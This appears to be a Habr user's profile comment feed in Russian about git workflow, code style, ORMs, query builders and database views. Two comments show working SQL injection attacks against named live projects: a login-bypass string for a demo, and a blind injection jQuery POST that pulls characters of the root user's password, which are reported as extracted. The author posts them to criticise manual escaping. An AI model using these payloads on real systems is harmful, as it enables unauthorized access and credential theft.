All streams
Search
Write a publication
Pull to refresh
63
0.5
Михаил @michael_v89

Программист

Send message
Эти свойства условимся называть свойствами ориентации. В каком бы положении, как геометрическое тело, ни находился куб, для каждого движения, будь-то «на себя», «от себя», «влево», «вправо» или поворот вокруг продольной оси, можно назвать правило, устанавливающее в каком положении он окажется после выполнения конкретного движения.

Как в вашей теории определяется ориентация «наискось»? Если мы повернем куб вокруг продольной оси на 10 градусов, ориентация у него явно изменится, но наблюдаемые цвета граней останутся такими же.
Интересует такой вопрос. Возможно, я чего-то не понимаю.
Разработчики A и B создали ветки featureA и featureB от ветки develop.
Сделали изменения, сделали коммит, сделали rebase на текущее состояние develop, сделали push.
Последний коммит в ветке develop — X.
В первой ветке история коммитов «X — A», во второй «X — B».
Главный разработчик мерджит в develop сначала ветку featureA. Там возможен fast forward.
Потом мерджит ветку featureB. Тут уже fast forward не получится, потому что порядок коммитов другой.
Получается, тому кто мерждит, надо сначала вручную сделать rebase ветки featureB на новое состояние develop?
Тогда и try / catch надо отдельными блоками писать, потому что там catch не связаны между собой.
Цепочка if / elseif / elseif / else похожа на оператор switch, и elseif там тоже не связаны. case не может существовать без switch, catch не может существовать без try, else не может существовать без if.

PS: Писал так в одном проекте, когда ветки if идут отдельными блоками. Вполне нормально смотрится, код в блоках не сливается с предыдущими, особенно если условия длинные.

Вас же не смущает конструкция «default: blah-blah-blah; break;». Ветки оператора switch пишутся отдельно друг от друга, и выглядят как отдельные не связанные конструкции. Почему бы и if так не писать?
как вы себе представляете это с ORM?

Хм, а я представляю (да, мне делать нефиг)). Там запрос-то не сложный, 2 таблицы. Правда тут в основном Query Builder.
Скрытый текст
$select = "
    TransportReturnOrders.ID,
    ISNULL(TransportReturnOrders.ExpectedDeliveryDate, TransportReturnOrders.ReceivingOn) AS ReceivingOn,
    ReturnOrderItems.sourceLocationName,
    ReturnOrderItems.targetLocationName,
    ReturnOrderItems.ItemDescription,
    SUM(ISNULL(ReturnOrderItems.quantityShipped, 0)) as EstimatedQuantity,
    SUM(ISNULL(ReturnOrderItems.quantityReceived, 0)) as ActualQuantity,
    SUM(ISNULL(ReturnOrderItems.quantityReceived, 0) - ISNULL(ReturnOrderItems.quantityShipped, 0)) as Variance
";

$groupBy = "
    TransportReturnOrders.ID,
    ReceivingOn,
    ReturnOrderItems.sourceLocationName,
    ReturnOrderItems.targetLocationName,
    ReturnOrderItems.ItemDescription
";

$orderBy = "
    ReturnOrderItems.ItemDescription,
    ReturnOrderItems.sourceLocationName,
    ReceivingOn,
    ReturnOrderItems.targetLocationName
";


$query = ViewReturnOrderItems::find();

$query->select($select);
$query->groupBy($groupBy);
$query->orderBy($orderBy);


$query->joinWith('TransportReturnOrders');

$statusList = [
    Status::ReceivingStatus,
    Status::ReceivedStatus,
    Status::PreliminaryReceivedStatus
];
$query->where('IN', 'TransportReturnOrders.Status', $statusList);


$dateExpr = new DBExpression('ISNULL(
    TransportReturnOrders.ExpectedDeliveryDate,
    TransportReturnOrders.ReceivingOn
)');
$query->andWhere('BETWEEN', $dateExpr, $filter->startDate, $filter->endDate);


if ($filter->ItemsID != 0) {
    $query->andWhere(['ReturnOrderItems.ItemsID' => $filter->ItemsID]);
}

if ($filter->sourceLocationID) {
    $query->andWhere([
        'ReturnOrderItems.sourceLocationID' => $filter->sourceLocationID
    ]);
} else {
    if ($filter->username) {
        $locationList = new Managers.UserRole()
                .GetLocationsForCustomerUser($filter->username);

        $query->andWhere('IN', 'ReturnOrderItems.sourceLocationID', $locationList);
    }
}

if ($filter->targetLocationID != 0) {
    $query->andWhere(['ReturnOrderItems.targetLocationID' => @targetLocationID]);
}


$dbResult = $query->asArray()->findAll();



А дальше просто программным кодом без всякого SQL.
Скрытый текст
$splittedDbResult = [];
foreach ($dbResult as $row) {
    $splittedDbResult[$row['ItemName']][$row['sourceLocationName']][] = $row;
}

foreach ($splittedDbResult as $itemName => $locationData) {
    $TotalEstimatedQuantity = 0;
    $TotalActualQuantity = 0;
    $TotalVariance = 0;
    
    foreach ($locationData as $sourceLocationName => $locationRows) {
        $SubTotalEstimatedQuantity = 0;
        $SubTotalActualQuantity = 0;
        $SubTotalVariance = 0;
        
        foreach ($locationRows as $row) {
            $result[] = $row;
            
            $SubTotalEstimatedQuantity += $row['EstimatedQuantity'];
            $SubTotalActualQuantity += $row['ActualQuantity'];
            $SubTotalVariance += $row['Variance'];
        }

        $data = [
            null, 'Sub Total', $sourceLocationName, '',  '',
            $SubTotalEstimatedQuantity, $SubTotalActualQuantity, $SubTotalVariance,
        ];
        $result[] = $data;

        $TotalEstimatedQuantity += $SubTotalEstimatedQuantity;
        $TotalActualQuantity += $SubTotalActualQuantity;
        $TotalVariance += $SubTotalVariance;
    }

    $data = [
        null, 'Total', '', '', $itemName,
        $TotalEstimatedQuantity, $TotalActualQuantity, $TotalVariance,
    ];
    $result[] = $data;
}

в adodb есть специальная функция экранирования для всех типов БД

Какая разница, стандартная она или из adodb. Вызывать ее все равно надо каждый раз вручную.

это просто sql че надо то и пишите

Вы не поняли вопроса, он связан с первым. Функции типа where_equal() и where_like() разделяют имя поля и значение, чтобы одно заключить в обратные кавычки, а второе в плейсхолдер запроса. Сколько нужно написать кода при использовании вашей ORM и специальной функции экранирования adodb для генерации запроса с LIKE без SQL-инъекций? И во сколько раз он будет больше приведенного вами для idiorm?

Оно строится поверх ORM

А ваше требует ADOdb, в которой 218 файлов размером под 2 мегабайта. А тут рабочий файл всего 1, размером 90 кб.
… В реальном фреймворке есть отдельный класс синглтон https://github.com/leon-mbs/zippy/blob/master/zcl/db/db.php
Объяснять вам бесполезно -сами наберетесь опыта столкнувшишь с более менее серьезным проектом

А у вас «ЧП Петров» как из $_GET-параметров в запрос попадает? Руками каждый раз экранируете?

Ради интереса посмотрел, как у вас параметры в запрос попадают. Никак вы их не экранируете.
На гитхабе у вас есть проект zippyerp, там ссылка на сайт проекта, там ссылка на демо.

Логин: test' OR userpass = 'admin
Пароль: admin

Нажать кнопку «Ввод» мышкой. (кстати, почему?)

https://github.com/leon-mbs/zippyerp/blob/master/src/www/system/pages/userlogin.php#L42
https://github.com/leon-mbs/zippyerp/blob/master/src/www/system/helper.php#L23
(и чуть ниже на 27 строке, прямое сравнение с переданным паролем).

Причем при регистрации у вас пароль шифруется, но при логине можно указать не сам пароль, а его хеш. Утекла база с хешами, и даже ломать не надо.
— А у вас «ЧП Петров» как из $_GET-параметров в запрос попадает? Руками каждый раз экранируете?
— А если надо «LIKE», а не "="?
— «select(*)» необязательно вызывать
— Вы сравниваете Query Builder и Active Record. Сравнивайте тогда уж с Active Record от того же автора. Там кстати связи есть, что тоже преимущество.
Цепочка вызовов:
https://github.com/torrison/inside/blob/master/application/controllers/inside_pdg_ajax.php#L29
https://github.com/torrison/inside/blob/master/application/libraries/inside_lib.php#L93
https://github.com/torrison/inside/blob/master/application/models/inside_model.php#L90

Хотя могли бы и сами поискать) А 2 года назад не надо было избегать SQL-инъекций? PDO с параметрами уже давно появился.
Ага, куча кода для банального CRUD. Да еще и SQL-инъекция, что еще раз доказывает, что экранировать данные вручную нежелательно.

Скрытый текст
http://inside.ikiev.biz/inside/table/users/

$.post('/inside_pdg_ajax/',
    'pdg_table=users&pdg_order=(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users where username = 0x726F6F74) = 0x32 THEN id ELSE email END)&pdg_asc=desc&active=1&pdg_limit=100&pdg_fsearch=&pdg_fkey=&pdg_page=1'
).success(function(data){ $('#inside_terminal').html(data); });


Первые 2 символа поля password пользователя root: 2d
А вы, конечно же, работаете ради конечного потребителя и всегда выпускаете хороший качественный код, в котором нет ошибок?)
Большинство ошибок из разряда «ой, мне так не нравится». При этом почему-то не учитывается, что некоторые программные продукты довольно большие, и в них много функций, которые работают, и для выполнения которых они и создавались. NPM, PayPal, Visual Studio. Амперсанд 2 раза проэкранировался, ай-яй-яй)
Я нигде не писал, что положено использовать ORM. Даже наоборот: «Наличие/отсутствие ORM на структуру таблиц не влияет». Это верно для 99.9% случаев (ок, 80%). User — он в любом приложении User.
Ладно, литературу вы почему-то привести не желаете, может какой-нибудь пример из практики приведете?
Зачем переделывать БД? Таблицы одинаковые для любого приложения. Единственное это если вы вдруг решили из мобильного клиента коннектиться напрямую к базе, и хотите через представления ограничить права пользователю. По-моему, это слишком редкий случай, а вы там выше писали «ориентируюсь на большинство обычных задач которые нужны повседневно». А вообще в таких случаях для мобильного приложения делается API.

Кстати, не подскажете ссылки на материалы о том, что положено проектировать хранилища данных через представления?)
Я тоже напишу его один раз если он не вписывается в существующие представления.

Только вы еще и запросы для представлений напишете, и поддерживать их будете.

Никто не проектирует БД в зависимости от того какой ORM в приложении

Никто не проектирует с точки зрения «а еще могут и руками напрямую полезть». Вернее, может кто-то и проектирует, но делать так не надо.

Проектирование БД и навешивание представлений на спроектированную БД — это не одно и то же. Наличие/отсутствие ORM на структуру таблиц не влияет. Вопрос в том, зачем использовать представления в веб-приложении.
(* не дописал)
Пользователь, подключающийся к БД, один, программный код один, запрос с джойнами генерируется ORM либо пишется один раз, права пользователя приложения удобнее проверять кодом на серверном языке, а не в SQL.
Представления иногда оправданы для десктопных приложений. В веб-приложениях они используются очень редко, потому что — а зачем?
А для страницы просмотра заказа делать другое представление со своими джойнами? И при добавлении/удалении полей делать ALTER VIEW для каждого?

Делается какой-нибудь метод with($relationName), который после основного запроса делает второй к таблице пользователей с условием WHERE id IN ($userIDs), и заполняет связь user у всех $orders. Без лишних джойнов.
Например, есть сущность «Заказ», у него есть поле user_id. Как вы выводите имя пользователя в списке заказов?
А вы хотите чтобы вам 10 человек одно и то же написали? Ну я, например, тоже не понял. У вас нет ничего нового ни в идее, ни в реализации. Генерировать SQL из ассоциативного массива это первая мысль, которая появляется при изучении работы с БД в PHP, а маппинг таблиц на сущности есть практически в любом фреймворке.

Information

Rating
1,941-st
Location
Россия
Registered
Activity